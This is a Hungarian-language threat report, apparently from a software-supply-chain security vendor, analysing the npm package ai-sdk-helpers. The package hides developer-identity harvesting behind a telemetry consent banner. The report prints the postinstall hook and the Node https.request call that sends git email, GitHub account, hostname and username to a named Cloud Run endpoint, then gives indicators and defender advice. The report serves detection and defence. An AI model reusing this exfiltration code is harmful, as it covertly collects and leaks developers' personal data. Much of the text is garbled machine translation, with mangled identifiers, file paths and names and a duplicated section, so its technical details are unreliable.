ConsentMask Az npm csomag Fejlesztői identitás elrejtése

ConsentMask: Egy npm csomag, amely telemetriai hozzájárulási szalagcímet visel a fejlesztői identitásgyűjtés helyett

TL, DR

Egyetlen npm csomag, ai-sdk-helpers, a Vercel AI SDK termelési eszközkészleteként mutatja be magát, költségkövetést, szolgáltatói tartalékokat és streamelési segítőket kínálva.

A telepítési idejű szkript egy letisztult, tájékoztató szalagcímmel nyílik meg, amely leírja, névtelen diagnosztika, ígérve, hogy semmilyen forráskódot, tokeneket vagy hitelesítő adatokat nem továbbítanak, tiszteletben tartva a DO_NOT_TRACK leiratkozás, és egy telemetriai szabályzat oldalára mutató hivatkozás.

Ugyanez a szkript ezután beolvassa a fejlesztő git-identitását, GitHub CLI-konfigurációját, a gép hostnevét, az operációs rendszer felhasználónevét, a munkakönyvtárat és a CI-szolgáltatót.

Ezeket az adatokat JSON formátumban küldi el a rendszer egy Google Cloud Run végpontnak, ami egyértelmű eltérést eredményez a megadott telemetriai szabályzat és a ténylegesen begyűjtött mezők között.

A csomag huszonkét verzióban jelent meg egyetlen 83 másodperces sorozatban, és a telepítőszkript bájtról bájtra megegyezik minden megjelölt verzióban.

A nyolc általunk felülvizsgált verzió közül hét pipeline az ML-osztályozó nem adott egyértelmű pontszámot, mivel a hozzájárulási banner stílusa legitim telemetriaként értelmezhető.

Osztályozunk ai-sdk-helpers a telepítési idejű fejlesztői identitásgyűjtés és -elszivárgás alapján kártékonyként szerepel.

Súlyosság: magas.

 A telepítés anatómiája

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

telepítés után automatikusan lefut npm telepítés, mielőtt a csomag hirdetett kódjának bármelyikét importálnák. A szkript scripts/postinstall.js itt található az összes telepítési idejű viselkedés.

Egy megjegyzésblokkkal és egy futásidejű közleménytel nyílik meg, amelyet egy adatvédelmet figyelembe vevő nyílt forráskódú projekt regiszterébe írt:

>Amikor telepíted az ai-sdk-helpers-t, gyors környezeti kompatibilitási ellenőrzést futtatunk, és névtelen diagnosztikai jelentést készítünk… Az adatok teljesen névtelenek – összegyűjtjük a platformodat, a csomópont verzióját és a gépazonosítód egyirányú hash-ét. Soha nem továbbítunk forráskódot, tokeneket vagy hitelesítő adatokat.

Még egy működő leiratkozási kaput is beköt, ami az első futtatható kód a fájlban:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

ha először ezt a kaput fűzzük be, az teszi a többit konszenzuson alapulónak: egy fejlesztő, aki beállítja `D_NOT_TRACK` A telepítés csendben befejeződik, és a csomag tiszteletben tartja a konvenciót. A tiszteletben tartott leiratkozás valós. Amit viszont engedélyez, azok számára, akik nem állítják be, az az alább leírt gyűjtemény – nem pedig a szűkebb körű „platform, csomópont verzió és egyirányú hash”, ahogy az értesítésben szerepel.

A kapu alatt a szkript egy olyan hasznos adatot állít össze, amely messze túlmutat a leíráson.

  • *Gt identitás.* rmegoldásaScmAzonosság()` fejek `~.gitconfig`,`~.config/git/config` fájlnevet,és a jelenlegi projekt `.it/config`,elemzi a `[szer]` szakasz, és visszaadja a konfigurált értéket commit e-mail cím. Ha egyetlen konfigurációs fájl sem eredményez e-mail címet, akkor a `G`-re ugrik vissza.T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,és `EAIL` környezeti változók. A függvény feletti dokumentációs karakterlánc keretezi az olvasást, mint „azonos személy tulajdonában lévő gépek (pl. laptop + CI) közötti telepítések deduplikációjának” módját – egy kimondott cél, amelyhez stabil fejlesztőnkénti azonosító szükséges, amelyet egy commit e-mail kellékek.
  • *GtHub fiók.* rsolveGitHubIdentity()` fejek `~.config/gh/hosts.yml` fájl és `~.config/gh/hosts.yaml` fájl a GitHub CLI által írt konfigurációs fájl, amikor egy fejlesztő hitelesít – és reguláris kifejezéssel kibontja az `u`-tööö:` és `ebeteg:` mezők. Ez a fájl tárolja a GitHub OAuth tokent is; a szkript reguláris kifejezése kifejezetten a felhasználónév és az e-mail sorokat célozza meg, és nem nyeri ki a tokent. A közzétételi szalagcím „soha nem kerülnek tokenek átvitelre” állítása tehát szó szerint igaz erre az egy mezőre, miközben a környező fiókazonosítók beolvasásra és elküldésre kerülnek.
  • *Hst és CI ujjlenyomat.* A szkript ezután összegyűjti a `o-t.hostname()`,`o.userInfo().felhasználónév`,a Node verzió, platform és architektúra, `pocess.cwd()`,és egy CI-szolgáltató címkét, amelyet nyolc szolgáltató (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite és két generic-CI flag) környezeti változóinak ellenőrzésével oldottak meg. A szolgáltatók listája egy leltár arról, hogy a szkript hol várja a végrehajtást – interaktív shelleket és automatizált build-et. pipelines egyforma.

Mindezek egyetlen `d`-be vannak csoportosítva.agnosztikusok bject, ahol a fejlesztőnkénti mezők egy `i` alatt vannak összegyűjtveentitás ey és a `r` alatti gazdagépadatokntime` és `cntext` eys, majd szerializálva és továbbítva:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

A válasz elvetésre kerül, és az összes hibát lenyeli a rendszer – egy megjegyzés megjegyzi, hogy „a telemetria soha nem szakíthatja meg a telepítést”. A végpont hostname egy Google Cloud Run szolgáltatást kódol az `e` részben.kötélnyugat1` régió.

A rés a lényeg. A banner három adatkategóriát nevez meg – platform, csomópont verzió, gépazonosító hash. A hasznos adat a fejlesztő valódi gitjét küldi el. commit e-mail címüket, GitHub felhasználónevüket és e-mail címüket, gépük gazdagépnevét és operációsrendszer-fiókjuk nevét, projektjük elérési útját és CI-környezetüket. A *prson és a számláik* pontosan azokat a mezőket érinti, amelyeket a közzététel kihagy.

A README megerősíti a másik oldalról érkező keretezést. A „Telemetry” szakasz megismétli az anonimitási igényt, és összekapcsolja a `D` szót._NOT_TRACK` o `cnsoledonottrack.com`,a valódi közösségi oldal, amely dokumentálja a leiratkozási konvenciót – egy elismert adatvédelmi elv kölcsönzése standard hogy a közleményt rutinszerűen felolvassák.

Network TwentyOne Global

Ez egyetlen csomagból álló lelet, nagyon rövid és sűrű publikációs előzményekkel. Nincs több hetes kampányív, amelyet nyomon lehetne követni – a teljes verziókínálatot gépi sebességgel terjesztették.

Mikor (UTC) esemény
2026-06-03 20:31:20 Első verzió (0.1.0) közzétéve az npm-en.
2026-06-03 20:31:20 – 20:32:43 Mind a 22 verzió (0.1.0 keresztül 1.4.2) egy 83 másodperces automatizált sorozatban jelent meg.
2026-06-04 Nyolc verziót azonosítottak az észlelési jelek; a manuális elemzés megerősíti a telepítési idejű identitásgyűjtést és -kiszivárgást. A csomag az elemzés időpontjában npm-en továbbra is aktív maradt.

A 22 szemantikus verzióra kiterjedő 83 másodperces ablak önmagában is egy viselkedési indikátor: a verziólétra (`01.0`,`01.1`,… `14.2`)egy aktívan karbantartott projekt felületét mutatja be, kiadási előzményekkel, egyetlen szkriptelt futtatással előállítva. A telepítőszkript nem változik ezen a létrán keresztül – lásd alább.

A kompromisszum mutatói

A telepítési idejű hasznos terhelés azonos a közzétett verziótartományban.ff` f`sripts/postinstall.js` között `0 verzió2.1` második verzió `14.2` nem ad vissza különbséget; a viselkedés egy fix ujjlenyomat, nem pedig egy változó hasznos adat.

Hálózat

A 22 szemantikus verzióra kiterjedő 83 másodperces ablak önmagában is egy viselkedési indikátor: a verziólétra (`01.0`,`01.1`,… `14.2`)egy aktívan karbantartott projekt felületét mutatja be, kiadási előzményekkel, egyetlen szkriptelt futtatással előállítva. A telepítőszkript nem változik ezen a létrán keresztül – lásd alább.

A kompromisszum mutatói

A telepítési idejű hasznos terhelés azonos a közzétett verziótartományban.ff` f`sripts/postinstall.js` között `0 verzió2.1` második verzió `14.2` nem ad vissza különbséget; a viselkedés egy fix ujjlenyomat, nem pedig egy változó hasznos adat.

Hálózat

Mutató Szerep
npm-package-logger-228835561205.europe-west1.run.app HTTPS POST kéréseket JSON hasznos adatokkal fogadó kiszűrési végpont. Google Cloudon tárolt. Futtatás a következő helyen: europe-west1 vidék.

Csali infrastruktúra

Mutató Szerep
ai-sdk.guide Csomag honlapja és élő webhely, amely az „AI SDK Guide” szerzői identitását támogatja.
ai-sdk.guide/telemetry A telepítési idejű közzétételi értesítésben hivatkozott telemetriai szabályzat URL-címe.
hello@ai-sdk.guide Szerző e-mail címe megadva package.json.
github.com/ai-sdk-guide/ai-sdk-helpers A csomag által deklarált forrásadattár.

Telepítéskor beolvasott fájlok

  • -.gitconfig`,`~.config/git/config` fájlnevet,`<wd>/.git/config` git `[szer]` levél
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` fájl GitHub CLI (felhasználói felület)ööö `ebeteg

Viselkedési aláírások

  • – m `pstinstall` ook meghív egy csomagolt Node szkriptet
  • – leiratkozási kapu (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)adatvédelmi funkcióként bemutatva, a személyazonosság-gyűjtés előtt
  • – egy JSON objektum tbound HTTPS POST-ja, amely tartalmazza a git e-mail címet, a GitHub identitást, a hostname-et, az operációs rendszer felhasználónevét, a cwd-t és a CI címkét
  • – te-azonos telepítőszkript egy gyorsan publikált verziólétrán

 Attribúció és megfigyelt viselkedés
Semmit sem adunk hozzá a csomagban és a beállításjegyzékben rögzített metaadatokon túl.

Az npm nyilvántartásának karbantartója a `a` fiók.ielsimon`,az `a` címmeliel@vigilance.security`.A beállításjegyzék az e-mail címet ellenőrizetlenként, a fiók forráskód-ellenőrzési identitását pedig ellenőrizetlenként tünteti fel. A `pckage.json`,külön, a szerzőt „AI SDK útmutatóként” mutatja be.ello@ai-sdk.guide>`”egy `a` honlappal-sdk.guide` és egy forráskód-tárházat egy `g` alattthub.com/ai-sdk-guide` szervezet. A közzétételi fiók e-mail domainje (`vigilance.security`)és a csomagon belüli szerzői azonosító (`a-sdk.guide`)különböző domainekről van szó.

Az `a-sdk.guide` Az ite élőben van és válaszol, valamint a `/elemometria Az ath megoldódik – a csali identitását egy elérhető webes jelenlét támogatja, nem pedig egy halott link, ami növeli a csomag keretezésének hihetőségét.

**Megfigyelt képesség.** Telepítési időben a csomag beolvassa a fejlesztői identitást és a fiókkonfigurációs fájlokat, ujjlenyomatot vesz a gazdagépről és a CI környezetről, és az eredményt egy operátor által vezérelt végpontra továbbítja, miközben egy értesítést jelenít meg, amely egy szűkebb és anonimizált adathalmazt ír le. Ezt a viselkedést leírjuk; nem állítjuk annak indítékát. A csomagot értékelő olvasóknak – beleértve azokat a feleket is, akik felismerik a közzétevő identitását – mérlegelniük kell a megadott és a tényleges adatfolyamok közötti megfigyelhető eltérést.

Hatás, trendek és útmutatás a védők számára

Ki van leleplezve? Bárki, aki telepíti ai-sdk-helpers – közvetlenül vagy tranzitív függőségként – futtatja a gyűjteményt ezen a gépen. Mivel a trigger a következő: telepítés után, a hirdetett könyvtárkódot soha nem kell importálni az adatfolyam létrejöttéhez; a telepítés önmagában elegendő. A legértékesebb környezetek a konfigurált git-identitással és hitelesített GitHub CLI-vel rendelkező fejlesztői munkaállomások, valamint a CI-futtatók, ahol a szkript CI-szolgáltatójának észlelése azt jelzi, hogy a gyűjtemény várhatóan a builden belül fog futni. pipelinevalamint laptopokon.

Amit leleplez. Általános esetben nem alkalmazástitkok – a hasznos adat középpontjában a következő áll: identitás: a fejlesztőé commit e-mail címüket, a GitHub-fiókjuk nevét és e-mail címét, a gép és a fiók nevét, valamint a projekt elérési útját. Ez egy előzetescisa térkép, amelyen látható, hogy ki telepítette a csomagot, melyik gépre, melyik adattárba és melyik CI-rendszer alatt. Egy szervezet esetében néhány ilyen rekord együttesen felsorolná, hogy mely mérnökök és mely build rendszerek húzták le a függőséget – ez hasznos előfutára a célzottabb további tevékenységeknek, annak ellenére, hogy a csomag saját viselkedése a gyűjtésnél és az átvitelnél megáll.

A trend: telemetria, mint álcázás. A legitim fejlesztői eszközök névtelen telepítési diagnosztikai adatokat gyűjtenek, és az erre vonatkozó konvenciók – egy közzétételi értesítés, egy NE_KÖVESSEN KÖVETÉST a becsület, a leiratkozási jelző, a szabályzat URL-címe – mind jól ismertek. ai-sdk-helpers mind a négy konvenciót hűen reprodukálja, és azokat használja az identitásgyűjtés burkaként. Egy hozzájárulási banner, egy működő leiratkozás vagy egy adatvédelmi irányelvekre mutató link megléte nem bizonyítja, hogy egy csomag megbízható; ezek a vezérlőelemek olcsón utánozhatók. Az egyetlen megbízható ellenőrzés az, hogy mit olvas be a kód valójában, és hová küldi azt.

Ennek a csomagolásnak mérhető hatása van az automatizált triázsra is. A verziók között a mi pipeline Az áttekintett telepítőszkript egyszerű nyelvű megjegyzései, strukturált mezőnevei és hagyományos leiratkozási kapuja a szokásos telemetriaként értékelhető volt: a nyolcból hét visszajött hatástalan a gépi tanulási osztályozóból származik, nem pedig rosszindulatú. A kétértelműséget feloldó jel nem a szövegben rejlik, hanem a szkript által megnyitott konkrét fájlokban (~ / .gitconfig, ~/.config/gh/hosts.yml) és a célállomást, ahová küldi. Egy felülvizsgáló, legyen az automatizált vagy emberi, aki elolvassa a közzétételt, és ott megáll, helytelen következtetésre jut; a megállapításnak az adatfolyamat tényeiből kell származnia.

Útmutató a védőknek:

  • Telepítés alapértelmezés szerint letiltott szkriptekkel — npm telepítés –szkriptek figyelmen kívül hagyása, vagy beállítva ignore-scripts=true in .npmrc fájl és explicit módon futtasd le az ellenőrzött építési lépéseket. Ez semlegesíti a telepítés után-általánosan kiváltott behajtás.
  • Ne kezelje a leiratkozási vezérlőket bizalomjelzőként. NE_KÖVESSEN KÖVETÉST Egy ellenőrzés vagy egy „telemetria szabályzat” hivatkozás semmit sem árul el arról, hogy egy szkript milyen adatokat gyűjt, ha a kapu nincs beállítva.
  • Olvasd el a telepítési útmutatót, mielőtt MI-ökoszisztéma segítő csomagokat használnál. A Vercel AI SDK területe egy gyorsan mozgó, nagy megbízhatóságú célpont; telepítés után ami megérinti ~ / .gitconfig or ~/.config/gh/ egyértelmű jelzés, függetlenül attól, hogy a környező kommentek hogyan vannak megírva.
  • Kimenő HTTPS POST küldés figyelése építési időben. npm telepítés, különösen egy frissen kiépített felhőfunkciós végpont felé, megfigyelhető a hálózati rétegen, és erős észlelési pont a CI-környezetek számára.
  • Figyelj a tömörített verziólétrákra. Egy olyan csomag, amelynek teljes szemantikus verzióelőzményei másodperceken belül megjelennek egy változatlan telepítőszkripttel, egy mesterségesen létrehozott karbantartási előzményt mutat be.
sca-tools-software-composition-elemző-eszközök
Szoftverkockázatok rangsorolása, elhárítása és biztosítása
Szerezd meg az ingyenes fiókodat.
Nem szükséges hitelkártya.

Biztosítsa szoftverfejlesztését és -szállítását

az Xygeni termékcsomaggal